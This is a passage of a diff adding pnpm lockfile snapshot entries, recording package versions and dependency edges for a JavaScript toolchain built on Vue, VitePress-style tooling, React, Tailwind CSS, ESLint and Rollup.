'@humanfs/core@0.19.1': {} + + '@humanfs/node@0.16.6': + dependencies: + '@humanfs/core': 0.19.1 + '@humanwhocodes/retry': 0.3.1 + + '@humanwhocodes/module-importer@1.0.1': {} + + '@humanwhocodes/retry@0.3.1': {} + + '@humanwhocodes/retry@0.4.2': {} + + '@iconify-json/simple-icons@1.2.62': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify/react@5.2.1(react@19.1.0)': + dependencies: + '@iconify/types': 2.0.0 + react: 19.1.0 + + '@iconify/types@2.0.0': {} + + '@jridgewell/gen-mapping@0.3.8': + dependencies: + '@jridgewell/set-array': 1.2.1 + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.25 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.8 + '@jridgewell/trace-mapping': 0.3.25 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/set-array@1.2.1': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.25': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@rolldown/pluginutils@1.0.0-beta.53': {} + + '@rollup/rollup-android-arm-eabi@4.40.0': + optional: true + + '@rollup/rollup-android-arm-eabi@4.53.3': + optional: true + + '@rollup/rollup-android-arm64@4.40.0': + optional: true + + '@rollup/rollup-android-arm64@4.53.3': + optional: true + + '@rollup/rollup-darwin-arm64@4.40.0': + optional: true + + '@rollup/rollup-darwin-arm64@4.53.3': + optional: true + + '@rollup/rollup-darwin-x64@4.40.0': + optional: true + + '@rollup/rollup-darwin-x64@4.53.3': + optional: true + + '@rollup/rollup-freebsd-arm64@4.40.0': + optional: true + + '@rollup/rollup-freebsd-arm64@4.53.3': + optional: true + + '@rollup/rollup-freebsd-x64@4.40.0': + optional: true + + '@rollup/rollup-freebsd-x64@4.53.3': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.40.0': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.53.3': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.40.0': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.53.3': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.40.0': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.40.0': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.53.3': + optional: true + + '@rollup/rollup-linux-loong64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-loongarch64-gnu@4.40.0': + optional: true + + '@rollup/rollup-linux-powerpc64le-gnu@4.40.0': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.40.0': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.40.0': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.53.3': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.40.0': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.40.0': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-x64-musl@4.40.0': + optional: true + + '@rollup/rollup-linux-x64-musl@4.53.3': + optional: true + + '@rollup/rollup-openharmony-arm64@4.53.3': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.40.0': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.53.3': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.40.0': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.53.3': + optional: true + + '@rollup/rollup-win32-x64-gnu@4.53.3': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.40.0': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.53.3': + optional: true + + '@shikijs/core@3.20.0': + dependencies: + '@shikijs/types': 3.20.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + hast-util-to-html: 9.0.5 + + '@shikijs/engine-javascript@3.20.0': + dependencies: + '@shikijs/types': 3.20.0 + '@shikijs/vscode-textmate': 10.0.2 + oniguruma-to-es: 4.3.4 + + '@shikijs/engine-oniguruma@3.20.0': + dependencies: + '@shikijs/types': 3.20.0 + '@shikijs/vscode-textmate': 10.0.2 + + '@shikijs/langs@3.20.0': + dependencies: + '@shikijs/types': 3.20.0 + + '@shikijs/themes@3.20.0': + dependencies: + '@shikijs/types': 3.20.0 + + '@shikijs/transformers@3.20.0': + dependencies: + '@shikijs/core': 3.20.0 + '@shikijs/types': 3.20.0 + + '@shikijs/types@3.20.0': + dependencies: + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + + '@shikijs/vscode-textmate@10.0.2': {} + + '@tailwindcss/node@4.2.2': + dependencies: + '@jridgewell/remapping': 2.3.5 + enhanced-resolve: 5.20.1 + jiti: 2.6.1 + lightningcss: 1.32.0 + magic-string: 0.30.21 + source-map-js: 1.2.1 + tailwindcss: 4.2.2 + + '@tailwindcss/oxide-android-arm64@4.2.2': + optional: true + + '@tailwindcss/oxide-darwin-arm64@4.2.2': + optional: true + + '@tailwindcss/oxide-darwin-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide@4.2.2': + optionalDependencies: + '@tailwindcss/oxide-android-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-x64': 4.2.2 + '@tailwindcss/oxide-freebsd-x64': 4.2.2 + '@tailwindcss/oxide-linux-arm-gnueabihf': 4.2.2 + '@tailwindcss/oxide-linux-arm64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-arm64-musl': 4.2.2 + '@tailwindcss/oxide-linux-x64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-x64-musl': 4.2.2 + '@tailwindcss/oxide-wasm32-wasi': 4.2.2 + '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 + '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 + + '@tailwindcss/postcss@4.2.2': + dependencies: + '@alloc/quick-lru': 5.2.0 + '@tailwindcss/node': 4.2.2 + '@tailwindcss/oxide': 4.2.2 + postcss: 8.5.8 + tailwindcss: 4.2.2 + + '@types/babel__core@7.20.5': + dependencies: + '@babel/parser': 7.27.0 + '@babel/types': 7.27.0 + '@types/babel__generator': 7.27.0 + '@types/babel__template': 7.4.4 + '@types/babel__traverse': 7.20.7 + + '@types/babel__generator@7.27.0': + dependencies: + '@babel/types': 7.27.0 + + '@types/babel__template@7.4.4': + dependencies: + '@babel/parser': 7.27.0 + '@babel/types': 7.27.0 + + '@types/babel__traverse@7.20.7': + dependencies: + '@babel/types': 7.27.0 + + '@types/estree@1.0.7': {} + + '@types/estree@1.0.8': {} + + '@types/hast@3.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/json-schema@7.0.15': {} + + '@types/linkify-it@5.0.0': {} + + '@types/markdown-it@14.1.2': + dependencies: + '@types/linkify-it': 5.0.0 + '@types/mdurl': 2.0.0 + + '@types/mdast@4.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/mdurl@2.0.0': {} + + '@types/react-dom@19.1.2(@types/react@19.1.2)': + dependencies: + '@types/react': 19.1.2 + + '@types/react-dom@19.2.3(@types/react@19.2.14)': + dependencies: + '@types/react': 19.2.14 + + '@types/react@19.1.2': + dependencies: + csstype: 3.1.3 + + '@types/react@19.2.14': + dependencies: + csstype: 3.2.3 + + '@types/unist@3.0.3': {} + + '@types/web-bluetooth@0.0.21': {} + + '@ungap/structured-clone@1.3.0': {} + + '@vitejs/plugin-react@4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0))': + dependencies: + '@babel/core': 7.26.10 + '@babel/plugin-transform-react-jsx-self': 7.25.9(@babel/core@7.26.10) + '@babel/plugin-transform-react-jsx-source': 7.25.9(@babel/core@7.26.10) + '@types/babel__core': 7.20.5 + react-refresh: 0.17.0 + vite: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + transitivePeerDependencies: + - supports-color + + '@vitejs/plugin-vue@6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3))': + dependencies: + '@rolldown/pluginutils': 1.0.0-beta.53 + vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) + vue: 3.5.25(typescript@5.9.3) + + '@vue/compiler-core@3.5.25': + dependencies: + '@babel/parser': 7.28.5 + '@vue/shared': 3.5.25 + entities: 4.5.0 + estree-walker: 2.0.2 + source-map-js: 1.2.1 + + '@vue/compiler-dom@3.5.25': + dependencies: + '@vue/compiler-core': 3.5.25 + '@vue/shared': 3.5.25 + + '@vue/compiler-sfc@3.5.25': + dependencies: + '@babel/parser': 7.28.5 + '@vue/compiler-core': 3.5.25 + '@vue/compiler-dom': 3.5.25 + '@vue/compiler-ssr': 3.5.25 + '@vue/shared': 3.5.25 + estree-walker: 2.0.2 + magic-string: 0.30.21 + postcss: 8.5.8 + source-map-js: 1.2.1 + + '@vue/compiler-ssr@3.5.25': + dependencies: + '@vue/compiler-dom': 3.5.25 + '@vue/shared': 3.5.25 + + '@vue/devtools-api@8.0.5': + dependencies: + '@vue/devtools-kit': 8.0.5 + + '@vue/devtools-kit@8.0.5': + dependencies: + '@vue/devtools-shared': 8.0.5 + birpc: 2.9.0 + hookable: 5.5.3 + mitt: 3.0.1 + perfect-debounce: 2.0.0 + speakingurl: 14.0.1 + superjson: 2.2.6 + + '@vue/devtools-shared@8.0.5': + dependencies: + rfdc: 1.4.1 + + '@vue/reactivity@3.5.25': + dependencies: + '@vue/shared': 3.5.25 + + '@vue/runtime-core@3.5.25': + dependencies: + '@vue/reactivity': 3.5.25 + '@vue/shared': 3.5.25 + + '@vue/runtime-dom@3.5.25': + dependencies: + '@vue/reactivity': 3.5.25 + '@vue/runtime-core': 3.5.25 + '@vue/shared': 3.5.25 + csstype: 3.1.3 + + '@vue/server-renderer@3.5.25(vue@3.5.25(typescript@5.9.3))': + dependencies: + '@vue/compiler-ssr': 3.5.25 + '@vue/shared': 3.5.25 + vue: 3.5.25(typescript@5.9.3) + + '@vue/shared@3.5.25': {} + + '@vueuse/core@14.1.0(vue@3.5.25(typescript@5.9.3))': + dependencies: + '@types/web-bluetooth': 0.0.21 + '@vueuse/metadata': 14.1.0 + '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) + vue: 3.5.25(typescript@5.9.3) + + '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3))': + dependencies: + '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) + '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) + vue: 3.5.25(typescript@5.9.3) + optionalDependencies: + axios: 1.11.0 + focus-trap: 7.6.6 + + '@vueuse/metadata@14.1.0': {} + + '@vueuse/shared@14.1.0(vue@3.5.25(typescript@5.9.3))': + dependencies: + vue: 3.5.25(typescript@5.9.3) + + acorn-jsx@5.3.2(acorn@8.14.1): + dependencies: + acorn: 8.14.1 + + acorn@8.14.1: {} + + ajv@6.12.6: + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + argparse@2.0.1: {} + + asynckit@0.4.0: {} + + autoprefixer@10.4.27(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + caniuse-lite: 1.0.30001780 + fraction.js: 5.3.4 + picocolors: 1.1.1 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + axios@1.11.0: + dependencies: + follow-redirects: 1.15.11 + form-data: 4.0.5 + proxy-from-env: 1.1.0 + transitivePeerDependencies: + - debug + + balanced-match@1.0.2: {} + + baseline-browser-mapping@2.10.9: {} + + birpc@2.9.0: {} + + brace-expansion@1.1.11: + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + + browserslist@4.24.4: + dependencies: + caniuse-lite: 1.0.30001780 + electron-to-chromium: 1.5.141 + node-releases: 2.0.19 + update-browserslist-db: 1.1.3(browserslist@4.24.4) + + browserslist@4.28.1: + dependencies: + baseline-browser-mapping: 2.10.9 + caniuse-lite: 1.0.30001780 + electron-to-chromium: 1.5.321 + node-releases: 2.0.36 + update-browserslist-db: 1.2.3(browserslist@4.28.1) + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + callsites@3.1.0: {} + + caniuse-lite@1.0.30001780: {} + + ccount@2.0.1: {} + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + character-entities-html4@2.1.0: {} + + character-entities-legacy@3.0.0: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + combined-stream@1.0.8: + dependencies: + delayed-stream: 1.0.0 + + comma-separated-tokens@2.0.3: {} + + concat-map@0.0.1: {} + + convert-source-map@2.0.0: {} + + copy-anything@4.0.5: + dependencies: + is-what: 5.5.0 + + cross-spawn@7.0.6: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + csstype@3.1.3: {} + + csstype@3.2.3: {} + + debug@4.4.0: + dependencies: + ms: 2.1.3 + + deep-is@0.1.4: {} + + delayed-stream@1.0.0: {} + + dequal@2.0.3: {} + + detect-libc@2.1.2: {} + + devlop@1.1.0: + dependencies: + dequal: 2.0.3 + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + electron-to-chromium@1.5.141: {} + + electron-to-chromium@1.5.321: {} + + enhanced-resolve@5.20.1: + dependencies: + graceful-fs: 4.2.11 + tapable: 2.3.0 + + entities@4.5.0: {} + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.1.0: + dependencies: + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + esbuild@0.25.3: + optionalDependencies: + '@esbuild/aix-ppc64': 0.25.3 + '@esbuild/android-arm': 0.25.3 + '@esbuild/android-arm64': 0.25.3 + '@esbuild/android-x64': 0.25.3 + '@esbuild/darwin-arm64': 0.25.3 + '@esbuild/darwin-x64': 0.25.3 + '@esbuild/freebsd-arm64': 0.25.3 + '@esbuild/freebsd-x64': 0.25.3 + '@esbuild/linux-arm': 0.25.3 + '@esbuild/linux-arm64': 0.25.3 + '@esbuild/linux-ia32': 0.25.3 + '@esbuild/linux-loong64': 0.25.3 + '@esbuild/linux-mips64el': 0.25.3 + '@esbuild/linux-ppc64': 0.25.3 + '@esbuild/linux-riscv64': 0.25.3 + '@esbuild/linux-s390x': 0.25.3 + '@esbuild/linux-x64': 0.25.3 + '@esbuild/netbsd-arm64': 0.25.3 + '@esbuild/netbsd-x64': 0.25.3 + '@esbuild/openbsd-arm64': 0.25.3 + '@esbuild/openbsd-x64': 0.25.3 + '@esbuild/sunos-x64': 0.25.3 + '@esbuild/win32-arm64': 0.25.3 + '@esbuild/win32-ia32': 0.25.3 + '@esbuild/win32-x64': 0.25.3 + + escalade@3.2.0: {} + + escape-string-regexp@4.0.0: {} + + eslint-plugin-react-hooks@5.2.0(eslint@9.25.1(jiti@2.6.1)): + dependencies: + eslint: 9.25.1(jiti@2.6.1) + + eslint-plugin-react-refresh@0.4.20(eslint@9.25.1(jiti@2.6.1)): + dependencies: + eslint: 9.25.1(jiti@2.6.1) + + eslint-scope@8.3.0: + dependencies: + esrecurse: 4.3.0 + estraverse: 5.3.0 + + eslint-visitor-keys@3.4.3: {} + + eslint-visitor-keys@4.2.0: {} + + eslint@9.25.1(jiti@2.6.1): + dependencies: + '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1(jiti@2.6.1)) + '@eslint-community/regexpp': 4.12.1 + '@eslint/config-array': 0.20.0 + '@eslint/config-helpers': 0.2.1 + '@eslint/core': 0.13.0 + '@eslint/eslintrc': 3.3.1 + '@eslint/js': 9.25.1 + '@eslint/plugin-kit': 0.2.8 + '@humanfs/node': 0.16.6 + '@humanwhocodes/module-importer': 1.0.1 + '@humanwhocodes/retry': 0.4.2 + '@types/estree': 1.0.7 + '@types/json-schema': 7.0.15 + ajv: 6.12.6 + chalk: 4.1.2 + cross-spawn: 7.0.6 + debug: 4.4.0 + escape-string-regexp: 4.0.0 + eslint-scope: 8.3.0 + eslint-visitor-keys: 4.2.0 + espree: 10.3.0 + esquery: 1.6.0 + esutils: 2.0.3 + fast-deep-equal: 3.1.3 + file-entry-cache: 8.0.0 + find-up: 5.0.0 + glob-parent: 6.0.2 + ignore: 5.3.2 + imurmurhash: 0.1.4 + is-glob: 4.0.3 + json-stable-stringify-without-jsonify: 1.0.1 + lodash.merge: 4.6.2 + minimatch: 3.1.2 + natural-compare: 1.4.0 + optionator: 0.9.4 + optionalDependencies: + jiti: 2.6.1 + transitivePeerDependencies: + - supports-color + + espree@10.3.0: + dependencies: + acorn: 8.14.1 + acorn-jsx: 5.3.2(acorn@8.14.1) + eslint-visitor-keys: 4.2.0 + + esquery@1.6.0: + dependencies: + estraverse: 5.3.0 + + esrecurse@4.3.0: + dependencies: + estraverse: 5.3.0 + + estraverse@5.3.0: {} + + estree-walker@2.0.2: {} + + esutils@2.0.3: {} + + fast-deep-equal@3.1.3: {} + + fast-json-stable-stringify@2.1.0: {} + + fast-levenshtein@2.0.6: {} + + fdir@6.4.4(picomatch@4.0.2): + optionalDependencies: + picomatch: 4.0.2 + + fdir@6.5.0(picomatch@4.0.3): + optionalDependencies: + picomatch: 4.0.3 + + file-entry-cache@8.0.0: + dependencies: + flat-cache: 4.0.1 + + find-up@5.0.0: + dependencies: + locate-path: 6.0.0 + path-exists: 4.0.0 + + flat-cache@4.0.1: + dependencies: + flatted: 3.3.3 + keyv: 4.5.4 + + flatted@3.3.3: {} + + focus-trap@7.6.6: + dependencies: + tabbable: 6.3.0 + + follow-redirects@1.15.11: {} + + form-data@4.0.5: + dependencies: + asynckit: 0.4.0 + combined-stream: 1.0.8 + es-set-tostringtag: 2.1.0 + hasown: 2.0.2 + mime-types: 2.1.35 + + fraction.js@5.3.4: {} + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + gensync@1.0.0-beta.2: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + math-intrinsics: 1.1.0 + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + glob-parent@6.0.2: + dependencies: + is-glob: 4.0.3 + + globals@11.12.0: {} + + globals@14.0.0: {} + + globals@16.0.0: {} + + gopd@1.2.0: {} + + graceful-fs@4.2.11: {} + + has-flag@4.0.0: {} + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + hast-util-to-html@9.0.5: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + ccount: 2.0.1 + comma-separated-tokens: 2.0.3 + hast-util-whitespace: 3.0.0 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.1 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + stringify-entities: 4.0.4 + zwitch: 2.0.4 + + hast-util-whitespace@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hookable@5.5.3: {} + + htm@3.1.1: {} + + html-void-elements@3.0.0: {} + + ignore@5.3.2: {} + + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + imurmurhash@0.1.4: {} + + is-extglob@2.1.1: {} + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-what@5.5.0: {} + + isexe@2.0.0: {} + + jiti@2.6.1: {} + + js-tokens@4.0.0: {} + + js-yaml@4.1.0: + dependencies: + argparse: 2.0.1 + + jsesc@3.1.0: {} + + json-buffer@3.0.1: {} + + json-schema-traverse@0.4.1: {} + + json-stable-stringify-without-jsonify@1.0.1: {} + + json5@2.2.3: {} + + keyv@4.5.4: + dependencies: + json-buffer: 3.0.1 + + levn@0.4.1: + dependencies: + prelude-ls: 1.2.1 + type-check: 0.4.0 + + lightningcss-android-arm64@1.32.0: + optional: true + + lightningcss-darwin-arm64@1.32.0: + optional: true + + lightningcss-darwin-x64@1.32.0: + optional: true + + lightningcss-freebsd-x64@1.32.0: + optional: true + + lightningcss-linux-arm-gnueabihf@1.32.0: + optional: true + + lightningcss-linux-arm64-gnu@1.32.0: + optional: true + + lightningcss-linux-arm64-musl@1.32.0: + optional: true + + lightningcss-linux-x64-gnu@1.32.0: + optional: true + + lightningcss-linux-x64-musl@1.32.0: + optional: true + + lightningcss-win32-arm64-msvc@1.32.0: + optional: true + + lightningcss-win32-x64-msvc@1.32.0: + optional: true + + lightningcss@1.32.0: + dependencies: + detect-libc: 2.1.2 + optionalDependencies: + lightningcss-android-arm64: 1.32.0 + lightningcss-darwin-arm64: 1.32.0 + lightningcss-darwin-x64: 1.32.0 + lightningcss-freebsd-x64: 1.32.0 + lightningcss-linux-arm-gnueabihf: 1.32.0 + lightningcss-linux-arm64-gnu: 1.32.0 + lightningcss-linux-arm64-musl: 1.32.0 + lightningcss-linux-x64-gnu: 1.32.0 + lightningcss-linux-x64-musl: 1.32.0 + lightningcss-win32-arm64-msvc: 1.32.0 + lightningcss-win32-x64-msvc: 1.32.0 + + locate-path@6.0.0: + dependencies: + p-locate: 5.0.0 + + lodash.merge@4.6.2: {} + + lru-cache@5.1.1: + dependencies: + yallist: 3.1.1 + + magic-string@0.30.21: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + mark.js@8.11.1: {} + + math-intrinsics@1.1.0: {} + + mdast-util-to-hast@13.2.1: + dependencies: + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + '@ungap/structured-clone': 1.3.0 + devlop: 1.1.0 + micromark-util-sanitize-uri: 2.0.1 + trim-lines: 3.0.1 + unist-util-position: 5.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.3 + + micromark-util-character@2.1.1: + dependencies: + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-encode@2.0.1: {} + + micromark-util-sanitize-uri@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-encode: 2.0.1 + micromark-util-symbol: 2.0.1 + + micromark-util-symbol@2.0.1: {} + + micromark-util-types@2.0.2: {} + + mime-db@1.52.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + minimatch@3.1.2: + dependencies: + brace-expansion: 1.1.11 + + minisearch@7.2.0: {} + + mitt@3.0.1: {} + + ms@2.1.3: {} + + nanoid@3.3.11: {} + + natural-compare@1.4.0: {} + + node-releases@2.0.19: {} + + node-releases@2.0.36: {} + + oniguruma-parser@0.12.1: {} + + oniguruma-to-es@4.3.4: + dependencies: + oniguruma-parser: 0.12.1 + regex: 6.1.0 + regex-recursion: 6.0.2 + + optionator@0.9.4: + dependencies: + deep-is: 0.1.4 + fast-levenshtein: 2.0.6 + levn: 0.4.1 + prelude-ls: 1.2.1 + type-check: 0.4.0 + word-wrap: 1.2.5 + + p-limit@3.1.0: + dependencies: + yocto-queue: 0.1.0 + + p-locate@5.0.0: + dependencies: + p-limit: 3.1.0 + + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + + path-exists@4.0.0: {} + + path-key@3.1.1: {} + + perfect-debounce@2.0.0: {} + + picocolors@1.1.1: {} + + picomatch@4.0.2: {} + + picomatch@4.0.3: {} + + postcss-value-parser@4.2.0: {} + + postcss@8.5.8: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prelude-ls@1.2.1: {} + + property-information@7.1.0: {} + + proxy-from-env@1.1.0: {} + + punycode@2.3.1: {} + + react-dom@19.1.0(react@19.1.0): + dependencies: + react: 19.1.0 + scheduler: 0.26.0 + + react-refresh@0.17.0: {} + + react@19.1.0: {} + + regex-recursion@6.0.2: + dependencies: + regex-utilities: 2.3.0 + + regex-utilities@2.3.0: {} + + regex@6.1.0: + dependencies: + regex-utilities: 2.3.0 + + resolve-from@4.0.0: {} + + rfdc@1.4.1: {} + + rollup@4.40.0: + dependencies: + '@types/estree': 1.0.7 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.40.0 + '@rollup/rollup-android-arm64': 4.40.0 + '@rollup/rollup-darwin-arm64': 4.40.0 + '@rollup/rollup-darwin-x64': 4.40.0 + '@rollup/rollup-freebsd-arm64': 4.40.0 + '@rollup/rollup-freebsd-x64': 4.40.0 + '@rollup/rollup-linux-arm-gnueabihf': 4.40.0 + '@rollup/rollup-linux-arm-musleabihf': 4.40.0 + '@rollup/rollup-linux-arm64-gnu': 4.40.0 + '@rollup/rollup-linux-arm64-musl': 4.40.0 + '@rollup/rollup-linux-loongarch64-gnu': 4.40.0 + '@rollup/rollup-linux-powerpc64le-gnu': 4.40.0 + '@rollup/rollup-linux-riscv64-gnu': 4.40.0 + '@rollup/rollup-linux-riscv64-musl': 4.40.0 + '@rollup/rollup-linux-s390x-gnu': 4.40.0 + '@rollup/rollup-linux-x64-gnu': 4.40.0 + '@rollup/rollup-linux-x64-musl': 4.40.0 + '@rollup/rollup-win32-arm64-msvc': 4.40.0 + '@rollup/rollup-win32-ia32-msvc': 4.40.0 + '@rollup/rollup-win32-x64-msvc': 4.40.0 + fsevents: 2.3.3 + + rollup@4.53.3: + dependencies: + '@types/estree': 1.0.8 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.53.3 + '@rollup/rollup-android-arm64': 4.53.3 + '@rollup/rollup-darwin-arm64': 4.53.3 + '@rollup/rollup-darwin-x64': 4.53.3 + '@rollup/rollup-freebsd-arm64': 4.53.3 + '@rollup/rollup-freebsd-x64': 4.53.3 + '@rollup/rollup-linux-arm-gnueabihf': 4.53.3 + '@rollup/rollup-linux-arm-musleabihf': 4.53.3 + '@rollup/rollup-linux-arm64-gnu': 4.53.3 + '@rollup/rollup-linux-arm64-musl': 4.53.3 + '@rollup/rollup-linux-loong64-gnu': 4.53.3 + '@rollup/rollup-linux-ppc64-gnu': 4.53.3 + '@rollup/rollup-linux-riscv64-gnu': 4.53.3 + '@rollup/rollup-linux-riscv64-musl': 4.53.3 + '@rollup/rollup-linux-s390x-gnu': 4.53.3 + '@rollup/rollup-linux-x64-gnu': 4.53.3 + '@rollup/rollup-linux-x64-musl': 4.53.3 + '@rollup/rollup-openharmony-arm64': 4.53.3 + '@rollup/rollup-win32-arm64-msvc': 4.53.3 + '@rollup/rollup-win32-ia32-msvc': 4.53.3 + '@rollup/rollup-win32-x64-gnu': 4.53.3 + '@rollup/rollup-win32-x64-msvc': 4.53.3 + fsevents: 2.3.3 + + scheduler@0.26.0: {} + + semver@6.3.1: {} + + shebang-command@2.0.0: + dependencies: + shebang-regex: 3.0.0 + + shebang-regex@3.0.0: {} + + shiki@3.20.0: + dependencies: + '@shikijs/core': 3.20.0 + '@shikijs/engine-javascript': 3.20.0 + '@shikijs/engine-oniguruma': 3.20.0 + '@shikijs/langs': 3.20.0 + '@shikijs/themes': 3.20.0 + '@shikijs/types': 3.20.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + + source-map-js@1.2.1: {} + + space-separated-tokens@2.0.2: {} + + speakingurl@14.0.1: {} + + stringify-entities@4.0.4: + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + + strip-json-comments@3.1.1: {} + + superjson@2.2.6: + dependencies: + copy-anything: 4.0.5 + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + tabbable@6.3.0: {} + + tailwindcss@4.2.2: {} + + tapable@2.3.0: {} + + tinyglobby@0.2.13: + dependencies: + fdir: 6.4.4(picomatch@4.0.2) + picomatch: 4.0.2 + + tinyglobby@0.2.15: + dependencies: + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + + trim-lines@3.0.1: {} + + type-check@0.4.0: + dependencies: + prelude-ls: 1.2.1 + + typescript@5.9.3: {} + + unist-util-is@6.0.1: + dependencies: + '@types/unist': 3.0.3 + + unist-util-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-stringify-position@4.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-visit-parents@6.0.2: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + + unist-util-visit@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + unist-util-visit-parents: 6.0.2 